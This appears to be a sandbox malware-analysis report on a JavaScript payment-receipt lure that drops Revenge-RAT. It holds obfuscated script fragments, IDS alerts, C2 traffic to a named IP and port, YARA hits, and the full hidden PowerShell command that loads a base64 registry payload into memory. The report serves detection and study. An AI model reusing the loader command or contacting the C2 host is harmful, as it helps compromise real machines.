File Content Preview:	..v.a.r. ._.0.x.5.8.5.0.0.2.=._.0.x.1.6.7.5.;.(.f.u.n.c.t.i.o.n.(._.0.x.5.5.3.5.d.8.,._.0.x.1.f.8.3.0.0.).{.v.a.r. ._.0.x.1.0.9.0.7.e.=._.0.x.1.6.7.5.,._.0.x.1.5.f.f.9.6.=._.0.x.5.5.3.5.d.8.(.).;.w.h.i.l.e.(.!.!.[.].).{.t.r.y.{.v.a.r. ._.0.x.4.4.0.9.9.8.=

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T16:42:07.244342+0100	2841113	ETPRO MALWARE MSIL/Revenge-RAT CnC Checkin M4	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:42:37.253666+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:07.252902+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:37.257973+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:51.502758+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:55.674603+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:55.862048+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:44:11.610122+0100	2035885	ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2	1	192.168.2.4	49730	38.51.135.44	333	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 16:42:06.584393024 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:06.704333067 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:06.704468966 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:07.244342089 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:07.365320921 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:17.150271893 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:17.156689882 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:17.277621031 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:17.588486910 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:17.589925051 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:17.709687948 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:17.709770918 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:17.830095053 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:32.168153048 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:32.170531988 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:32.290380001 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:32.606432915 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:32.608499050 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:32.728193998 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:32.728277922 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:32.848037004 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:37.253665924 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:37.373641014 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:47.178426027 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:47.180571079 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:47.300549984 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:47.604844093 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:47.606214046 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:47.726068020 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:42:47.726252079 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:42:47.845817089 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:02.200062990 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:02.202353954 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:02.322484016 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:02.629441977 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:02.631380081 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:02.751528978 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:02.751844883 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:02.872131109 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:07.252902031 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:07.373034954 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:17.218842983 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:17.224149942 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:17.344572067 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:17.648454905 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:17.650149107 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:17.770350933 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:17.770545006 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:17.890979052 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:32.238832951 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:32.240516901 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:32.360510111 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:32.664875984 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:32.667660952 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:32.787492037 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:32.789910078 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:32.909531116 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:37.257972956 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:37.377954960 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:47.263384104 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:47.269270897 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:47.389233112 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:47.693115950 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:47.695574999 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:47.816297054 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:47.816502094 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:47.936373949 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:51.502758026 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:51.624613047 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:55.674602985 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:55.794239998 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:43:55.862047911 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:43:55.981976986 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:02.287950039 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:02.289738894 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:44:02.409796000 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:02.804652929 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:02.813679934 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:44:02.934144974 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:02.934402943 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:44:03.054610968 CET	333	49730	38.51.135.44	192.168.2.4
Dec 19, 2024 16:44:11.610121965 CET	49730	333	192.168.2.4	38.51.135.44
Dec 19, 2024 16:44:11.730099916 CET	333	49730	38.51.135.44	192.168.2.4

Target ID:	0
Start time:	10:41:58
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js"
Imagebase:	0x7ff6e4420000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:42:00
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Revengerat_db91bcc6, Description: unknown, Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_RevengeRAT, Description: RevengeRAT and variants payload, Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Revengerat_db91bcc6, Description: unknown, Source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Revengerat_db91bcc6, Description: unknown, Source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:42:00
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9B8B8D18 Relevance: 5.2, Strings: 3, Instructions: 1445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-V_L, xrefs: 00007FFD9B8BF6CD
d, xrefs: 00007FFD9B8BEFB4
5K_H, xrefs: 00007FFD9B8BF064

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID: -V_L$5K_H$d
API String ID: 0-1475000724
Opcode ID: 147e281bd4afd81baff9e9d8729cbdef12a3ad2bf59f40ac0ad6add7694c8e02
Instruction ID: 9cadba806c6aebd9faa92b54e50321987eec7db013f91836c1bd08d6c3aa1170
Opcode Fuzzy Hash: 147e281bd4afd81baff9e9d8729cbdef12a3ad2bf59f40ac0ad6add7694c8e02
Instruction Fuzzy Hash: E8A24871F0EA8A4FE76DDB3884659B577E1EF59300B0541BED05EC71B7DE28A8428B80

Function 00007FFD9B8C4001 Relevance: .4, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06334fca3ffbf649be1295d75a291eef967fc294c308f7497fefdb9380f5c6f5
Instruction ID: d949ec324ff4b6eda6a021a05c2e83eff63402126f2b852e3a579e9128005f52
Opcode Fuzzy Hash: 06334fca3ffbf649be1295d75a291eef967fc294c308f7497fefdb9380f5c6f5
Instruction Fuzzy Hash: A5D18270A18A4E8FEBA8EF28C8557F977D1FB58310F14426ED84DC7295DF3499848B81

Function 00007FFD9B8C4DB1 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 939a53b085306ff772deb0b9e23240f7c3acd799d276131481451f4782634e9e
Instruction ID: 839128c46e2572569a0a8603c18350b6ef154ebdb71601a93bf33c4622830866
Opcode Fuzzy Hash: 939a53b085306ff772deb0b9e23240f7c3acd799d276131481451f4782634e9e
Instruction Fuzzy Hash: A6D18270A18A4D8FEBA8EF28C8657F977D1FB58310F55826ED80DC7295CF7499808B81

Function 00007FFD9B8B94C5 Relevance: 1.8, APIs: 1, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNEL32 ref: 00007FFD9B8B9680

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: c1e2cf34d8b2e7c9b595c739cbd229de3d0e4cd002b4ecdc905802b976a30f45
Instruction ID: aeb5cd1577f4ad905b5c19d452fc4187253e47897bf7e65e33ca4fdd86b26281
Opcode Fuzzy Hash: c1e2cf34d8b2e7c9b595c739cbd229de3d0e4cd002b4ecdc905802b976a30f45
Instruction Fuzzy Hash: 24817330A18A5C8FDB98DF58D855BE9BBF1FF99300F1081AAD04DD3295CA34A985CF81

Function 00007FFD9B8B46F2 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00007FFD9B9077A5

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 3f68956717f024374b7e7df7f3eee17fe26f3cd209c19a208ca942e2a5557349
Instruction ID: 38f53109bc01afc8c24add0c0640bae0474dfc9764fe79e8210c4deb7f994d3e
Opcode Fuzzy Hash: 3f68956717f024374b7e7df7f3eee17fe26f3cd209c19a208ca942e2a5557349
Instruction Fuzzy Hash: 7F517072A0FA9C4FEB19976C98562B97FE0EF56320F0442BFD099C71E3D9556806C780

Function 00007FFD9B8BFFFF Relevance: 1.6, APIs: 1, Instructions: 149
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FFD9B8C00EE

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 87e5e688b990ffd5d9da5e3826339286535a8773c2c8cf4f3f17fc9daab604de
Instruction ID: 6d7a5cd72f8487371a630a972ed386ceb11e9e4362b9a0411c5c1fbbc691e24b
Opcode Fuzzy Hash: 87e5e688b990ffd5d9da5e3826339286535a8773c2c8cf4f3f17fc9daab604de
Instruction Fuzzy Hash: 4741B131A1CA5C8FDB58EF58D845AF9BBE0FF69721F04426FE049D3252DB34A8058B81

Function 00007FFD9B8B47A0 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00007FFD9B9077A5

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 713d7d7928db1f3580a9e0ac501b3b9310b8f53a3e2ebebc14327bf16e0ae0a9
Instruction ID: 8bccffd5f1c5e9283f39b4f163200a39c6b7952c1b70726885c47d42eb420786
Opcode Fuzzy Hash: 713d7d7928db1f3580a9e0ac501b3b9310b8f53a3e2ebebc14327bf16e0ae0a9
Instruction Fuzzy Hash: 4521D771A0CA0C9FDB58DBA8C8097B97BE1FB59320F10416FD049D3291DB756806CB91

Function 00007FFD9B9816BD Relevance: .6, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9767a20cb7f1a96b305346a31a3c8f8dac135057721fc2ec96b034daf1c39aeb
Instruction ID: c2f80d275ebb2514a9196b6c90359277b64b1b4481c3ec97535ca563ab04dd17
Opcode Fuzzy Hash: 9767a20cb7f1a96b305346a31a3c8f8dac135057721fc2ec96b034daf1c39aeb
Instruction Fuzzy Hash: 42F15D71A1EB991FD766C76898215B47FE0EF5A314B0A02FFD08DC71B3DA299906C381

Function 00007FFD9B983401 Relevance: .5, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f7933a3687e5b9a421f57b33f37d423614ed53851824e838c8007ca9e095a3
Instruction ID: 3c2c821fe09db9bd5129bcbcdc0c66357090b89f4bf48974bd3ad625e2f417c0
Opcode Fuzzy Hash: 53f7933a3687e5b9a421f57b33f37d423614ed53851824e838c8007ca9e095a3
Instruction Fuzzy Hash: D4D13722B1FF8D2FE7A9966C58665743BD1EF55210B0901FEE44DC71E3EE28AD068341

Function 00007FFD9B98118C Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f0c040f395a5c62bb40e7e0b17778bd8b41f82dfbbc32a80830058807ba107d
Instruction ID: fdd0d47febe458cc72e3862a49610fedd5d6dfa93175696d59268e308285277b
Opcode Fuzzy Hash: 6f0c040f395a5c62bb40e7e0b17778bd8b41f82dfbbc32a80830058807ba107d
Instruction Fuzzy Hash: 0DA14722B1EE9D1FE7B6966C58345B43BE1EF9A214B0A01FBD05DCB1E3DD28AD058341

Function 00007FFD9B9817A1 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1155cb50be676654046194aa090067259c67e57d2bb1abc8cef7491467b21c
Instruction ID: ff36593a87f8de10cbce36fcc70979105ffc8a97ef7a79d850154e6143646e7b
Opcode Fuzzy Hash: 4c1155cb50be676654046194aa090067259c67e57d2bb1abc8cef7491467b21c
Instruction Fuzzy Hash: 3F715631A2DE5C5FE7A8DB2898656B837D1EF9D318F06027ED04DC31A2DE35A8428381

Function 00007FFD9B9811A1 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82dfc0d55599939c30a2ea7ee60f8e5d7e5487a0c1cf70212cc9d4bfd7b022a9
Instruction ID: 091481e5f3e45493cc3be078525b135742b43ef6352a1c21bba7f51ba44e205a
Opcode Fuzzy Hash: 82dfc0d55599939c30a2ea7ee60f8e5d7e5487a0c1cf70212cc9d4bfd7b022a9
Instruction Fuzzy Hash: F2416A23F2FE6E1BE7B4926C08742B427C1EF8C615F4A017AD45DCB1E6DD28AD024241

Function 00007FFD9B98353D Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2982458225.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab5d4fbf8fafa3817a4566bb3a1d689198f61f0d61a2db4a30c83a6b73aee1bc
Instruction ID: 9f7acf902304bb5422b0ef6c7aea03ff97e1f574fc2b6117a98304005b27ccd1
Opcode Fuzzy Hash: ab5d4fbf8fafa3817a4566bb3a1d689198f61f0d61a2db4a30c83a6b73aee1bc
Instruction Fuzzy Hash: DE21F813F2FE5D2BE7B9926C283517427C1EF44A14B4A02BAF45DC71E3ED286D064142

Non-executed Functions

Function 00007FFD9B8EC518 Relevance: 3.4, Strings: 2, Instructions: 863COMMON

Download Yara Rule

Strings

?N_H, xrefs: 00007FFD9B8F638F
}, xrefs: 00007FFD9B8EC6D6

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID: }$?N_H
API String ID: 0-2384390316
Opcode ID: 239c23c4b251aefea78222a826cd0bacf9a95f90a822f1854e17cd8c46b354c0
Instruction ID: a254526ab02aa4ea1fcf851aa0a44cba72d2dafda4db411d87f3c9689ca5692c
Opcode Fuzzy Hash: 239c23c4b251aefea78222a826cd0bacf9a95f90a822f1854e17cd8c46b354c0
Instruction Fuzzy Hash: E7425A61B0D7894FD71AAB6898255F57BE0EF9A314F0942FBD089CB1E3DD18AC46C381

Function 00007FFD9B8BF67D Relevance: 1.6, Strings: 1, Instructions: 305COMMON

Download Yara Rule

Strings

-V_L, xrefs: 00007FFD9B8BF6CD

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID: -V_L
API String ID: 0-1499772637
Opcode ID: 66aab10ab021f2ee296efb39bb82a9ffb7f5ff018284d00dd8536bd8066745cd
Instruction ID: f5248400df10f2e319937eb46188c38d5224d2058dc840656e6b744b6eefff86
Opcode Fuzzy Hash: 66aab10ab021f2ee296efb39bb82a9ffb7f5ff018284d00dd8536bd8066745cd
Instruction Fuzzy Hash: 0791E561F0DA494FEBACDB789864A7477D2EFA9340B0641BED01DC72F2DD29AC418780

Function 00007FFD9B8C7B58 Relevance: .9, Instructions: 897COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ace900d80aa05dba7593c9b8f5d62424dc1a56b2b127a38141942320c1cd24
Instruction ID: 0a074c6ec28602422e00bf728514f0e848bdffd71475add8bb52ce8d1dd52809
Opcode Fuzzy Hash: 76ace900d80aa05dba7593c9b8f5d62424dc1a56b2b127a38141942320c1cd24
Instruction Fuzzy Hash: E242E431B1DA494BEBACAB5C94656B573D2FF98300F0141BDE44EC36E3EE35A9028681

Function 00007FFD9B8D5F50 Relevance: .8, Instructions: 775COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3ef12ef55af974522dd1bd0a02968194ac43c5440aaf208986987eda45e007
Instruction ID: 7c5edae63c327a17d1afe98d3855d1b22c1583cbcc8c17db78f201e1c04f6a6d
Opcode Fuzzy Hash: 3f3ef12ef55af974522dd1bd0a02968194ac43c5440aaf208986987eda45e007
Instruction Fuzzy Hash: 8432C470B1DA0D4FEBA8EB5C9465A7977E2FF98350F0502BAE44DC72A6DE24EC418740

Function 00007FFD9B8C752D Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2981823478.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2491b9767a9ae61a04416cc5ffe5493617fa883a08a3d83b84c5c2db4036ae89
Instruction ID: eb0f4357a9a64a5af29e98c4e61363fde7e635bcc78b737981f652c6cdf8322e
Opcode Fuzzy Hash: 2491b9767a9ae61a04416cc5ffe5493617fa883a08a3d83b84c5c2db4036ae89
Instruction Fuzzy Hash: 29F10431B0DA0A4FD768EB68D455AB577E1EF99310F1042BED44DC72A6EE24AC42C781

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
